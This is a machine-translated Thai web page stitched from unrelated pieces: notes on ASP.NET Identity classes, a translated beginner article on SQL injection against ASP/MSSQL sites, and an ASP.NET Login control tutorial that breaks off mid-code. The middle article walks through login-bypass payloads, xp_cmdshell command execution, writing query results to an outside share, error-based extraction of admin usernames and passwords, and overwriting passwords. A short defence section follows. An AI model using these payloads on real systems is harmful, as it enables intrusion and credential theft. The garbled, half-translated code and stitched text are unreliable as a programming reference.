แต่ละบทบาทแสดงถึงการใช้งานอินเทอร์เฟซ IRole และบทบาทได้รับการจัดการโดยคลาส RoleManager ผ่านร้านค้า IRoleStore

การใช้งานโดยตรงของอินเทอร์เฟซ IUser, IRole, IUserStore และ IRoleStore มีให้โดยเนมสเปซ Microsoft.AspNet.Identity.EntityFramework:

คลาส IdentityUser เป็นการนำอินเทอร์เฟซ IUser ไปใช้งาน และคลาสร้านค้าผู้ใช้ - UserStore ใช้อินเทอร์เฟซ IUserStore

ในทำนองเดียวกัน คลาส IdentityRole ใช้อินเทอร์เฟซ IRole และคลาสที่เก็บบทบาท RoleStore ใช้อินเทอร์เฟซ IRoleStore

และเพื่อโต้ตอบกับฐานข้อมูลในเนมสเปซ Microsoft.AspNet.Identity.EntityFramework จะมีการกำหนดคลาสบริบท IdentityDbContext

ในแอปพลิเคชัน ASP.NET MVC เราจะไม่ทำงานโดยตรงกับคลาส IdentityUser และ IdentityDbContext โดยค่าเริ่มต้น ไฟล์จะถูกเพิ่มไปยังโปรเจ็กต์ในโฟลเดอร์ Models IdentityModels.csซึ่งมีคำจำกัดความของคลาสผู้ใช้และบริบทข้อมูล:

คลาสสาธารณะ ApplicationUser: IdentityUser ( งาน async สาธารณะ GenerateUserIdentityAsync(ตัวจัดการผู้ใช้ ผู้จัดการ) ( var userIdentity = รอผู้จัดการ CreateIdentityAsync (นี่ DefaultAuthenticationTypes.ApplicationCookie); ส่งคืน userIdentity; ) คลาสสาธารณะ ApplicationDbContext: IdentityDbContext ( Public ApplicationDbContext() : base("DefaultConnection", throwIfV1Schema: false) ( ) public static ApplicationDbContext Create() ( ส่งคืน ApplicationDbContext ใหม่ (); ) )

ในแอปพลิเคชัน เราไม่ได้ทำงานโดยตรงกับคลาส IdentityUser และ IdentityDbContext แต่เราจัดการกับคลาสที่ได้รับ

คลาส ApplicationUser สืบทอดคุณสมบัติทั้งหมดจาก IdentityUser นอกจากนี้ยังเพิ่มเมธอด GenerateUserIdentityAsync() ที่สร้างวัตถุ ClaimsIdentity โดยการเรียก UserManager.CreateIdentityAsync วัตถุนี้มีข้อมูลเกี่ยวกับผู้ใช้รายนี้

สถาปัตยกรรมดังกล่าวทำให้คุณสามารถใช้ฟังก์ชันสำเร็จรูป และหากจำเป็น ให้เพิ่มฟังก์ชันใหม่ เช่น เพิ่มคุณสมบัติใหม่สำหรับผู้ใช้หรือเพิ่มตารางใหม่ลงในฐานข้อมูล

ฉันจะไม่อธิบายรายละเอียดเกี่ยวกับฟังก์ชันทั้งหมดของ AspNet Identity ซึ่งถูกเพิ่มลงในโครงการโดยค่าเริ่มต้น ฉันจะสรุปเฉพาะคุณสมบัติหลักโดยสังเขป

ขั้นแรก เพื่อเปิดใช้งาน AspNet Identity ไฟล์สองไฟล์จะถูกเพิ่มไปยังโปรเจ็กต์ในโฟลเดอร์ App_Start ไฟล์ Startup.Auth.csมีคลาสเริ่มต้นแอปพลิเคชัน OWIN เนื่องจาก AspNet Identity ใช้โครงสร้างพื้นฐาน OWIN คลาสนี้จึงเป็นหนึ่งในคีย์และจำเป็นสำหรับการทำงาน

ไฟล์ IdentityConfig.csมีคลาสตัวช่วยเพิ่มเติมจำนวนหนึ่ง: บริการสำหรับการตรวจสอบสองปัจจัยโดยใช้อีเมลและโทรศัพท์ EmailService และ SmsService คลาสตัวจัดการผู้ใช้ ApplicationUserManager ที่เพิ่มฟังก์ชันเพิ่มเติมจำนวนหนึ่งให้กับ UserManager และคลาส ApplicationSignInManager ที่ใช้ในการเข้าสู่ระบบและออกจากไซต์ .

ฟังก์ชันพื้นฐานของระบบการตรวจสอบสิทธิ์และการจัดการบัญชีอยู่ในตัวควบคุมสองตัว: AccountController และ ManageController

AccountController กำหนดวิธีการเข้าสู่ระบบ การลงทะเบียน การตรวจสอบรหัสที่ส่งทางอีเมลหรือ SMS การรีเซ็ตรหัสผ่าน การแจ้งเตือนรหัสผ่าน ลงชื่อเข้าใช้เว็บไซต์โดยใช้บริการภายนอก ตัวควบคุม ManageController ใช้เพื่อจัดการบัญชีและให้ความสามารถในการเปลี่ยนรหัสผ่านและจัดการหมายเลขโทรศัพท์ในระบบ สำหรับตัวควบคุมทั้งสอง มุมมองที่จำเป็นและโมเดลมุมมองพิเศษทั้งหมดจะถูกสร้างขึ้นตามค่าเริ่มต้นแล้ว

แม้ว่าตามค่าเริ่มต้นแล้ว เราจะมีฟังก์ชันสำเร็จรูปอยู่แล้ว อย่างไรก็ตาม ในบางกรณี เช่น ในการส่ง SMS หรืออีเมล จำเป็นต้องมีการกำหนดค่าเพิ่มเติม ทีนี้มาดูประเด็นหลักของระบบ AspNet Identity

การฉีด SQL สำหรับ Dummies, ASP+MSSQL hack

Alexander Antipov

บทความนี้ไม่มีความจริงใหม่ ๆ การฉีด SQL มีการอธิบายอย่างกว้างขวางและใช้กันอย่างแพร่หลาย บทความนี้มีไว้สำหรับผู้เริ่มต้นมากกว่า แต่บางทีผู้เชี่ยวชาญอาจพบกลเม็ดใหม่ๆ ได้หนึ่งหรือสองข้อ


บทความนี้จัดทำขึ้นเพื่อช่วยให้ผู้เริ่มต้นจัดการกับปัญหาที่อาจพบด้วยเทคนิค SQL Injection ใช้งานได้สำเร็จ และสามารถป้องกันตนเองจากการโจมตีดังกล่าวได้

บทนำ

เมื่อเซิร์ฟเวอร์ที่สนใจเปิดเฉพาะพอร์ต 80 และเครื่องสแกนช่องโหว่ไม่สามารถรายงานสิ่งที่น่าสนใจได้ และคุณรู้ว่าผู้ดูแลระบบจะแก้ไขเว็บเซิร์ฟเวอร์อย่างรวดเร็วเสมอ โอกาสสุดท้ายของเราคือการเจาะเว็บ การฉีด SQL เป็นแฮ็คเว็บประเภทหนึ่งที่ใช้พอร์ต 80 เท่านั้นและสามารถทำงานได้แม้กับแพตช์ที่ทันท่วงที การโจมตีนี้มุ่งเป้าไปที่เว็บแอปพลิเคชัน (เช่น ASP, JSP, PHP, CGI เป็นต้น) มากกว่าที่เว็บเซิร์ฟเวอร์หรือบริการในระบบปฏิบัติการโดยตรง

บทความนี้ไม่มีความจริงใหม่ ๆ การฉีด SQL มีการอธิบายอย่างกว้างขวางและใช้กันอย่างแพร่หลาย บทความนี้มีไว้สำหรับผู้เริ่มต้นมากกว่า แต่บางทีผู้เชี่ยวชาญอาจพบกลเม็ดใหม่ๆ ได้หนึ่งหรือสองข้อ ฉันยังแนะนำให้ตรวจสอบลิงก์ที่ท้ายบทความนี้เพื่อดูข้อมูลเพิ่มเติมจากผู้เชี่ยวชาญในสาขานี้

1.1 การฉีด SQL คืออะไร?

SQL Injection เป็นวิธีการฉีดคำสั่ง SQL แบบสอบถาม/คำสั่งผ่านหน้าเว็บ หน้าเว็บจำนวนมากใช้พารามิเตอร์ที่แสดงต่อผู้ใช้เว็บและทำแบบสอบถาม SQL ของฐานข้อมูล ยกตัวอย่างกรณีการเข้าสู่ระบบของผู้ใช้ที่มีหน้าเว็บที่มีชื่อผู้ใช้และรหัสผ่านและแบบสอบถาม SQL กับฐานข้อมูลเพื่อตรวจสอบว่ามีผู้ใช้ที่ลงทะเบียนด้วยชื่อผู้ใช้และรหัสผ่านนั้น การใช้ SQL Injection เป็นไปได้ที่จะส่งฟิลด์ชื่อผู้ใช้และ/หรือรหัสผ่านที่สมมติขึ้นเพื่อเปลี่ยนการสืบค้น SQL ซึ่งสามารถให้ข้อมูลที่น่าสนใจแก่เรา

2.0 สิ่งที่เราควรมองหา

พยายามค้นหาหน้าที่ขอข้อมูลของคุณ เช่น หน้าค้นหา หน้าอภิปราย ฯลฯ บางครั้งหน้า html ใช้วิธี POST เพื่อส่งคำสั่งไปยังเว็บเพจอื่น ในกรณีนี้ คุณจะไม่เห็นพารามิเตอร์ใน URL อย่างไรก็ตาม ในกรณีนี้ คุณสามารถค้นหาแท็ก "FORM" ในซอร์ส HTML ของหน้าได้ คุณจะพบสิ่งนี้:



ตัวเลือกทั้งหมดระหว่าง

และ
อาจเสี่ยงต่อการฉีด SQL

2.1 จะเกิดอะไรขึ้นหากคุณไม่พบหน้าที่ใช้อินพุต

มองหาหน้าต่างๆ เช่น หน้าเว็บ ASP, JSP, CGI หรือ PHP ลองค้นหาหน้าที่ใช้พารามิเตอร์เช่น:

3.0. ฉันจะตรวจสอบได้อย่างไรว่าสิ่งที่ฉันพบมีความเสี่ยง?

ลองเริ่มต้นด้วยคำพูดเดียว ป้อนบรรทัดต่อไปนี้:

สวัสดี" หรือ 1=1--

ในช่องชื่อผู้ใช้หรือรหัสผ่าน หรือแม้แต่ในพารามิเตอร์ URL ตัวอย่าง:

เข้าสู่ระบบ: สวัสดี" หรือ 1=1--
ผ่าน: สวัสดี" หรือ 1=1--
http://duck/index.asp?id=hi" หรือ 1=1--

หากคุณทำเช่นนี้กับฟิลด์ที่ซ่อนอยู่ เพียงดาวน์โหลด HTML ดั้งเดิม บันทึกลงในฮาร์ดไดรฟ์ของคุณ เปลี่ยน URL และฟิลด์ที่ซ่อนอยู่ตามนั้น ตัวอย่าง:



หากโชคเข้าข้างคุณ คุณจะเข้าสู่ระบบโดยไม่มีชื่อผู้ใช้หรือรหัสผ่าน

3.1 แต่ทำไม " หรือ 1=1--?

ลองดูตัวอย่างอื่นที่อธิบายประโยชน์ของโครงสร้าง " หรือ 1=1-- " นอกจากการข้ามการลงทะเบียนแล้ว เรายังดูข้อมูลเพิ่มเติมที่ปกติไม่มีได้ พิจารณาหน้า asp ที่เชื่อมโยงไปยังหน้าอื่นด้วย URL ต่อไปนี้:

http://duck/index.asp?category=food

ใน URL "หมวดหมู่" คือชื่อของตัวแปร และ "อาหาร" คือค่าที่กำหนดให้กับตัวแปรนั้น เมื่อต้องการทำเช่นนี้ หน้า asp อาจมีรหัสต่อไปนี้:

v_cat = คำขอ ("หมวดหมู่")
sqlstr="เลือก * จากผลิตภัณฑ์ WHERE PCategory="" & v_cat & """
ตั้งค่า rs=conn.execute(sqlstr)

อย่างที่คุณเห็น ตัวแปรของเราจะรวมกับ v_cat ดังนั้นการสืบค้น SQL จึงควรเป็น:

เลือก * จากผลิตภัณฑ์ WHERE PCategory="food"

แบบสอบถามนี้ควรส่งคืนชุดที่มีหนึ่งแถวขึ้นไปที่ตรงกับส่วนคำสั่ง WHERE ในกรณีนี้คือ "อาหาร" ตอนนี้เรามาเปลี่ยน URL ดังนี้:

http://duck/index.asp?category=food" หรือ 1=1--
เลือก * จากผลิตภัณฑ์ WHERE PCategory="food" หรือ 1=1--‘

แบบสอบถามนี้จะส่งคืนแถวทั้งหมดในตารางผลิตภัณฑ์ ไม่ว่า Pcategory จะเป็น "อาหาร" หรือไม่ก็ตาม เครื่องหมายขีดคู่ "-" จะบอก MS SQL Server ให้ละเว้นการสืบค้นที่เหลือซึ่งอยู่หลังเครื่องหมายคำพูดเดียว (") บางครั้งคุณสามารถแทนที่เครื่องหมายขีดคู่ด้วย "#" ที่คมชัด

อย่างไรก็ตาม หากมีการใช้เซิร์ฟเวอร์ที่ไม่ใช่ SQL หรือคุณไม่สามารถละเลยการสืบค้นที่เหลือได้ ให้ลอง:

" หรือ "a"="a

ตอนนี้แบบสอบถาม SQL จะกลายเป็น:

เลือก * จากผลิตภัณฑ์ WHERE PCategory="food" หรือ "a"="a"

แบบสอบถามนี้จะส่งคืนผลลัพธ์เดียวกัน

ขึ้นอยู่กับการสืบค้น SQL จริง คุณอาจต้องลองใช้ความเป็นไปได้เหล่านี้:

" หรือ 1=1--
" หรือ 1=1--
หรือ 1=1--
" หรือ "a"="a
" หรือ "a"="a
") หรือ ("a"="a

4.0 ฉันจะรันคำสั่งจากระยะไกลโดยใช้การฉีด SQL ได้อย่างไร

ความสามารถในการป้อนคำสั่ง SQL มักจะหมายความว่าเราสามารถดำเนินการคำสั่ง SQL ได้ตามต้องการ การติดตั้งเริ่มต้นของ MS SQL Server ทำงานโดยมีสิทธิ์ของระบบ เราสามารถเรียกโพรซีเดอร์ในตัวเช่น master..xp_cmdshell เพื่อรันคำสั่งโดยพลการจากระยะไกลได้:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

ลองใช้เครื่องหมายคำพูดคู่ (") ถ้า (") ไม่ได้ผล

อัฒภาคจะสิ้นสุดคำสั่ง SQL ปัจจุบันและอนุญาตให้คุณเรียกใช้คำสั่ง SQL ใหม่ ในการตรวจสอบว่าคำสั่งสำเร็จหรือไม่ คุณสามารถตรวจสอบแพ็กเก็ต ICMP ใน 10.10.1.2 เพื่อดูว่ามีแพ็กเก็ตจากเซิร์ฟเวอร์ที่ได้รับผลกระทบหรือไม่:

http://site/?ID=31610

หากคุณไม่ได้รับคำขอ ping จากเซิร์ฟเวอร์ และคุณได้รับข้อความแสดงข้อผิดพลาดที่ระบุว่ามีข้อผิดพลาดในการอนุญาต เป็นไปได้ว่าผู้ดูแลระบบได้จำกัดการเข้าถึงของผู้ใช้เว็บสำหรับขั้นตอนการจัดเก็บ

5.0 ฉันจะรับผลลัพธ์ของการสืบค้น SQL ของฉันได้อย่างไร

คุณสามารถใช้ sp_makewebtask เพื่อเขียนคำขอของคุณใน HTML:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "เลือก * จาก INFORMATION_SCHEMA.TABLES"

IP ที่ระบุต้องมีโฟลเดอร์ "แชร์" ที่เข้าถึงได้สำหรับทุกคน

6.0 จะรับข้อมูลจากฐานข้อมูลโดยใช้ข้อความแสดงข้อผิดพลาด ODBC ได้อย่างไร

เราสามารถใช้ข้อมูลจากข้อความแสดงข้อผิดพลาดที่สร้างโดย SQL Server เพื่อรับข้อมูลใดๆ ตัวอย่างเช่น พิจารณาหน้าต่อไปนี้:

http://duck/index.asp?id=10

ตอนนี้เราจะพยายามเชื่อมจำนวนเต็ม '10' กับแถวอื่นในฐานข้อมูล:

http://duck/index.asp?id=10 UNION เลือก TOP 1 TABLE_NAME จาก INFORMATION_SCHEMA.TABLES--

ตารางระบบ INFORMATION_SCHEMA.TABLES ประกอบด้วยข้อมูลสำหรับตารางทั้งหมดบนเซิร์ฟเวอร์

เห็นได้ชัดว่าฟิลด์ TABLE_NAME มีชื่อของทุกตารางในฐานข้อมูล เธอได้รับเลือกเพราะเรารู้ว่าเธอมีอยู่เสมอ คำขอของเรา:

เลือก 1 อันดับแรก TABLE_NAME จาก INFORMATION_SCHEMA.TABLES--

แบบสอบถามนี้จะส่งคืนชื่อในฐานข้อมูล เมื่อเรารวมค่าสตริงนี้เป็นจำนวนเต็ม 10 MS SQL Server จะพยายามแปลงสตริง nvarchar เป็นจำนวนเต็ม สิ่งนี้จะทำให้เกิดข้อผิดพลาดโดยแจ้งว่าไม่สามารถแปลง nvarchar เป็น int ได้ เซิร์ฟเวอร์จะส่งข้อผิดพลาดต่อไปนี้:


ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "(!LANG:table1" to a column of data type int. !}
/index.asp บรรทัดที่ 5

ข้อความแสดงข้อผิดพลาดมีข้อมูลเกี่ยวกับค่าที่ไม่สามารถแปลงเป็นจำนวนเต็มได้ ในกรณีนี้ เราได้ชื่อตารางแรก - "table1"

เพื่อให้ได้ชื่อตารางถัดไป เราสามารถใช้แบบสอบถามต่อไปนี้:

http://duck/index.asp?id=10 UNION เลือก TOP 1 TABLE_NAME จาก INFORMATION_SCHEMA.TABLES โดยที่ TABLE_NAME ไม่ได้อยู่ใน ("table1")--

นอกจากนี้เรายังสามารถค้นหาข้อมูลโดยใช้ปุ่ม LIKE:

http://duck/index.asp?id=10 UNION เลือก TOP 1 TABLE_NAME จาก INFORMATION_SCHEMA.TABLES โดยที่ TABLE_NAME LIKE "%25login%25"--

ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดไดรเวอร์ ODBC "80040e07" ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "(!LANG:admin_login" to a column of data type int. !} /index.asp บรรทัดที่ 5

โครงสร้างที่สอดคล้องกัน "%25login%25" จะถูกแทนที่ด้วย %login% ใน SQL Server ในกรณีนี้ เราจะได้ชื่อตารางที่ตรงกับเกณฑ์ "admin_login"

6.1 ฉันจะรับชื่อคอลัมน์ทั้งหมดในตารางได้อย่างไร

เราสามารถใช้ตาราง INFORMATION_SCHEMA.COLUMNS เพื่อแสดงชื่อคอลัมน์ทั้งหมดในตาราง:

http://duck/index.asp?id=10 UNION เลือก TOP 1 COLUMN_NAME จาก INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดไดรเวอร์ ODBC "80040e07"
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "(!LANG:login_id" to a column of data type int. !}
/index.asp บรรทัดที่ 5

ตอนนี้เรารู้ชื่อคอลัมน์แรกแล้ว เราสามารถใช้ NOT IN() เพื่อรับชื่อของคอลัมน์ถัดไป:

http://duck/index.asp?id=10 UNION เลือก TOP 1 COLUMN_NAME จาก INFORMATION_SCHEMA.COLUMNS ที่ TABLE_NAME="admin_login" ที่ COLUMN_NAME ไม่ได้อยู่ใน ("login_id")-

ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดไดรเวอร์ ODBC "80040e07"
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "(!LANG:login_name" to a column of data type int. !}
/index.asp บรรทัดที่ 5

ต่อไปเราจะได้ชื่อคอลัมน์ที่เหลือเช่น "รหัสผ่าน", "รายละเอียด" จนกว่าเราจะได้รับข้อผิดพลาดดังต่อไปนี้

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME จาก INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME ไม่ได้อยู่ใน ("login_id","login_name","password",details")--

ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดไดรเวอร์ ODBC "80040e14"
รายการ ORDER BY ต้องปรากฏในรายการที่เลือกหากคำสั่งมีตัวดำเนินการ UNION
/index.asp บรรทัดที่ 5

6.2. เราจะได้รับข้อมูลที่เราต้องการได้อย่างไร

ตอนนี้เราได้ระบุตารางที่สำคัญแล้ว เราสามารถใช้เทคนิคเดียวกันนี้ในการดึงข้อมูลจากฐานข้อมูลได้

มารับชื่อล็อกอินแรกจากตาราง "admin_login":

http://duck/index.asp?id=10 UNION เลือก TOP 1 login_name จาก admin_login--

ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดไดรเวอร์ ODBC "80040e07"
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "(!LANG:neo" to a column of data type int. !}
/index.asp บรรทัดที่ 5

ตอนนี้เราทราบแล้วว่ามีผู้ใช้ที่เป็นผู้ดูแลระบบที่มีชื่อล็อกอิน "neo" ในที่สุด เราก็ได้รหัสผ่าน "neo":

http://duck/index.asp?id=10 UNION เลือกรหัสผ่าน 1 อันดับแรกจาก admin_login โดยที่ login_name="neo"--

ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดไดรเวอร์ ODBC "80040e07"
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "(!LANG:m4trix" to a column of data type int. !}
/index.asp บรรทัดที่ 5

ตอนนี้เราสามารถเข้าสู่ระบบเป็น "neo" ด้วยรหัสผ่าน "m4trix"

6.3 จะรับค่าตัวเลขของสตริงได้อย่างไร

มีข้อจำกัดในวิธีการที่อธิบายไว้ข้างต้น เราจะไม่ได้รับข้อความแสดงข้อผิดพลาดหากเราพยายามแปลงข้อความที่ประกอบด้วยตัวเลข (เฉพาะอักขระระหว่าง 0...9) ตอนนี้เราจะอธิบายการรับรหัสผ่าน "31173" จากผู้ใช้ "ทรินิตี้":

http://duck/index.asp?id=10 UNION เลือกรหัสผ่าน 1 อันดับแรกจาก admin_login โดยที่ login_name="trinity"--

เราอาจจะได้รับข้อผิดพลาด "ไม่พบหน้า" เหตุผลก็คือรหัสผ่าน "31173" จะถูกแปลงเป็นตัวเลข ก่อน UNION ด้วยจำนวนเต็ม (ในกรณีของเรา 10) เนื่องจากจะเป็นนิพจน์ UNION ที่ถูกต้อง SQL Server จะไม่สร้างข้อความแสดงข้อผิดพลาด ดังนั้นเราจึงไม่สามารถรับรายการตัวเลขได้

เพื่อแก้ปัญหานี้ เราสามารถเพิ่มสตริงตัวเลขที่มีตัวอักษรบางตัวต่อท้ายเพื่อให้การแปลงไม่สำเร็จ คำขอเปลี่ยนแปลง:

http://duck/index.asp?id=10 UNION SELECT TOP 1 แปลง (int, รหัสผ่าน%2b"%20morpheus") จาก admin_login โดยที่ login_name="trinity"--

เราเพียงแค่ใช้เครื่องหมายบวก (+) เพื่อต่อท้ายรหัสผ่านด้วยข้อความใดๆ (การเข้ารหัส ASSCII สำหรับ "+" = 0x2b) ต่อท้าย จากนั้น เราจะเพิ่ม "%20morpheus" ต่อท้ายรหัสผ่านจริง ดังนั้นแม้ว่าค่ารหัสผ่านจะเป็น "31173" ก็จะกลายเป็น "31173 morpheus" โดยการเรียกใช้ฟังก์ชัน convert() ด้วยตนเอง พยายามแปลง " 31173 morpheus" เป็นจำนวนเต็ม SQL Server จะออกข้อความแสดงข้อผิดพลาด ODBC:

ผู้ให้บริการ Microsoft OLE DB สำหรับข้อผิดพลาดไดรเวอร์ ODBC "80040e07"
ข้อผิดพลาดทางไวยากรณ์ในการแปลงค่า nvarchar "(!LANG:31173 morpheus" to a column of data type int. !}
/index.asp บรรทัดที่ 5

ตอนนี้เราสามารถเข้าสู่ระบบในฐานะ "ทรินิตี้" ด้วยรหัสผ่าน "31173"

7.0 จะแก้ไข/แทรกข้อมูลลงในฐานข้อมูลได้อย่างไร?

หลังจากที่เราได้ชื่อคอลัมน์ทั้งหมดในตารางแล้ว เราก็สามารถ อัปเดต (UPDATE) หรือแม้แต่แทรก (INSERT) ระเบียนใหม่ลงในตาราง ตัวอย่างเช่น เราสามารถเปลี่ยนรหัสผ่านสำหรับ "neo":

http://duck/index.asp?id=10; อัปเดต "admin_login" SET "password" = "newpas5" โดยที่ login_name="neo--

ในการแทรก (INSERT) ระเบียนใหม่ลงในฐานข้อมูล:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") VALUES (666,"neo2","newpas5","NA")--

ตอนนี้เราจะสามารถเข้าสู่ระบบเป็น "neo" ด้วยรหัสผ่าน "newpas5" ได้

8.0 จะหลีกเลี่ยงการฉีด SQL ได้อย่างไร

กรองอักขระพิเศษในสตริงทั้งหมดใน:

ข้อมูลใด ๆ ที่ผู้ใช้ป้อน
- พารามิเตอร์ URL
- คุ้กกี้

สำหรับค่าตัวเลข ให้แปลงเป็นจำนวนเต็มก่อนส่งต่อไปยังแบบสอบถาม SQL หรือใช้ ISNUMERIC เพื่อให้แน่ใจว่าเป็นจำนวนเต็ม

เรียกใช้ SQL Server ในฐานะผู้ใช้ที่ไม่มีสิทธิพิเศษ

ลบกระบวนงานที่ไม่ได้ใช้: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

การควบคุมการเข้าสู่ระบบ ASP.NET ให้โซลูชันการเข้าสู่ระบบที่มีประสิทธิภาพสำหรับแอปพลิเคชันเว็บ ASP.NET โดยไม่ต้องเขียนโปรแกรม โดยค่าเริ่มต้น การควบคุมการเข้าสู่ระบบจะรวมเข้ากับการเป็นสมาชิก ASP.NET และการรับรองความถูกต้องของแบบฟอร์มเพื่อช่วยในการรับรองความถูกต้องของผู้ใช้สำหรับเว็บไซต์โดยอัตโนมัติ มีส่วนต่อประสานผู้ใช้ที่พร้อมใช้งานซึ่งจะสอบถามชื่อผู้ใช้และรหัสผ่านจากผู้ใช้และมีปุ่มเข้าสู่ระบบเพื่อเข้าสู่ระบบ มันตรวจสอบข้อมูลรับรองผู้ใช้กับสมาชิกภาพ API และห่อหุ้มฟังก์ชันการตรวจสอบสิทธิ์พื้นฐานจากเช่นการเปลี่ยนเส้นทางกลับไปที่หน้าที่ร้องขอเดิมในพื้นที่ จำกัด ของแอปพลิเคชันของคุณหลังจากการเข้าสู่ระบบสำเร็จ

การควบคุมการเข้าสู่ระบบจะแสดงส่วนต่อประสานผู้ใช้สำหรับการตรวจสอบสิทธิ์ผู้ใช้ ตัวควบคุมการเข้าสู่ระบบประกอบด้วยกล่องข้อความสำหรับชื่อผู้ใช้และรหัสผ่าน และกล่องกาเครื่องหมายที่อนุญาตให้ผู้ใช้ระบุว่าพวกเขาต้องการให้เซิร์ฟเวอร์จัดเก็บข้อมูลประจำตัวของตนโดยใช้การเป็นสมาชิก ASP.NET และจะได้รับการตรวจสอบสิทธิ์โดยอัตโนมัติในครั้งต่อไปที่เข้าชมไซต์

ตัวควบคุมการเข้าสู่ระบบมีคุณสมบัติสำหรับการแสดงผลแบบกำหนดเอง สำหรับข้อความที่กำหนดเอง และสำหรับลิงก์ไปยังหน้าอื่น ๆ ที่ผู้ใช้สามารถเปลี่ยนรหัสผ่านหรือกู้คืนรหัสผ่านที่ลืมได้ การควบคุมการเข้าสู่ระบบสามารถใช้เป็นตัวควบคุมแบบสแตนด์อโลนบนหน้าหลักหรือหน้าแรก หรือคุณสามารถใช้บนหน้าเข้าสู่ระบบเฉพาะได้ หากคุณใช้การควบคุมการเข้าสู่ระบบด้วยการเป็นสมาชิก ASP.NET คุณไม่จำเป็นต้องเขียนโค้ดเพื่อดำเนินการรับรองความถูกต้อง อย่างไรก็ตาม หากคุณต้องการสร้างตรรกะการตรวจสอบสิทธิ์ของคุณเอง คุณสามารถจัดการเหตุการณ์การตรวจสอบสิทธิ์ของตัวควบคุมการเข้าสู่ระบบและเพิ่มรหัสการตรวจสอบสิทธิ์ที่กำหนดเองได้

หมายเหตุ - การควบคุมการเข้าสู่ระบบอาจทำงานไม่ถูกต้องหากวิธีการของเว็บเพจ ASP.NET ถูกเปลี่ยนจาก POST (ค่าเริ่มต้น) เป็น GET

เมื่อใดก็ตามที่ผู้ใช้กดปุ่มเข้าสู่ระบบ ตัวควบคุมจะตรวจสอบชื่อผู้ใช้และรหัสผ่านโดยอัตโนมัติโดยใช้ฟังก์ชัน Membership API Membership.ValidateUse() แล้วเรียกใช้ FormAuthentication.redirectFromLoginPage() หากการตรวจสอบสำเร็จ ตัวเลือกทั้งหมดบน UI ของ LoginControl จะส่งผลต่ออินพุตที่ส่งโดยตัวควบคุมไปยังวิธีการเหล่านี้ ตัวอย่างเช่น หากคุณคลิกกล่องกาเครื่องหมาย "จดจำฉันในครั้งต่อไป" ค่านี้จะส่งผ่านค่า true ไปยังพารามิเตอร์ createPresistentCookie ของเมธอด RedirectFromLoginPage() ดังนั้น FormAuthenticateModule จะสร้างคุกกี้ถาวร

มีสามงานเข้าสู่ระบบตามค่าเริ่มต้น

  • รูปแบบอัตโนมัติ - คุณสามารถเลือกรูปแบบเริ่มต้นได้
  • แปลงเป็นเทมเพลต - คุณสามารถแก้ไขเนื้อหาของการควบคุมการเข้าสู่ระบบ
  • ดูแลเว็บไซต์ - คุณสามารถกำหนดค่าเครื่องมือการดูแลเว็บไซต์ เช่น ความปลอดภัย แอปพลิเคชัน ผู้ให้บริการ

  1. "Login1" runat= "server" BackColor= "#F7F7DE" BorderColor= "#CCCC99" BorderStyle= "Solid" BorderWidth= "1px" Font-Names= "Verdana" Font-Size= "10pt" >
  • คุณสามารถเปลี่ยนรูปแบบของ LoginControl โดยใช้ css ได้เช่นกัน ดังนี้:

    1. .LoginControl
    2. สีพื้นหลัง : #F7F7DE ;
    3. ขอบสี : #CCCC99 ;
    4. แบบเส้นขอบ : ทึบ ;
    5. ความกว้างของเส้นขอบ : 1px
    6. font-family : เวอร์ดาน่า ;
    7. ขนาดตัวอักษร : 10px ;

    และตอนนี้ใช้ css เพื่อควบคุม:

    1. < html xmlns = "http://www.w3.org/1999/xhtml">
    2. < head runat = "server" >
    3. < title >การควบคุมการเข้าสู่ระบบ
    4. < link href = "StyleSheet.css" type = "text/css" rel = "Stylesheet" />
    5. < body >
    6. < form id = "form1" runat = "server" >
    7. < div >
    8. < asp:Login ID = "Login1" runat = "server" CssClass = "LoginControl" >
    9. < TitleTextStyle BackColor = "#6B696B" Font-Bold = "True" ForeColor = "#FFFFFF" />

    ถ้าคุณเรียกใช้เพจ และถ้าไฟล์ CSS อยู่ในไดเร็กทอรีที่การเข้าถึงแบบไม่ระบุชื่อถูกปฏิเสธ ให้เพิ่มการกำหนดค่าต่อไปนี้สำหรับไฟล์ CSS ให้กับไฟล์ web.config ของคุณ

    1. < location path = "StyleSheet.css" >
    2. < system.web >
    3. < authorization >
    4. < allow users = "*" />

    คุณสามารถเพิ่มไฮเปอร์ลิงก์หลายอันไปยังส่วนควบคุมการเข้าสู่ระบบของคุณ เช่น ไฮเปอร์ลิงก์ไปยังหน้าข้อความช่วยเหลือ หรือไฮเปอร์ลิงก์ไปยังหน้าการลงทะเบียน

    1. < asp:Login ID = "Login1" runat = "server" CssClass = "LoginControl"
    2. CreateUserText = "ลงทะเบียน"
    3. CreateUserUrl = "~/Register.aspx"
    4. HelpPageText = "ความช่วยเหลือเพิ่มเติม" HelpPageUrl = "~/Help.aspx"
    5. ข้อความคำสั่ง = "กรุณากรอกชื่อผู้ใช้และรหัสผ่านเพื่อเข้าสู่ระบบ">
    6. < TitleTextStyle BackColor = "#6B696B" Font-Bold = "True" ForeColor = "#FFFFFF" />

    ดูเหมือนว่านี้:

    นี่คือรหัส .CS:

    1. การใช้ระบบ
    2. ใช้ System.Collections.Generic;
    3. ใช้ System.Linq;
    4. ใช้ System.Web;
    5. ใช้ System.Web.UI;
    6. ใช้ System.Web.UI.WebControls;
    7. ใช้ System.Data.SqlClient;
    8. คลาสบางส่วนสาธารณะ _Default: System.Web.UI.Page
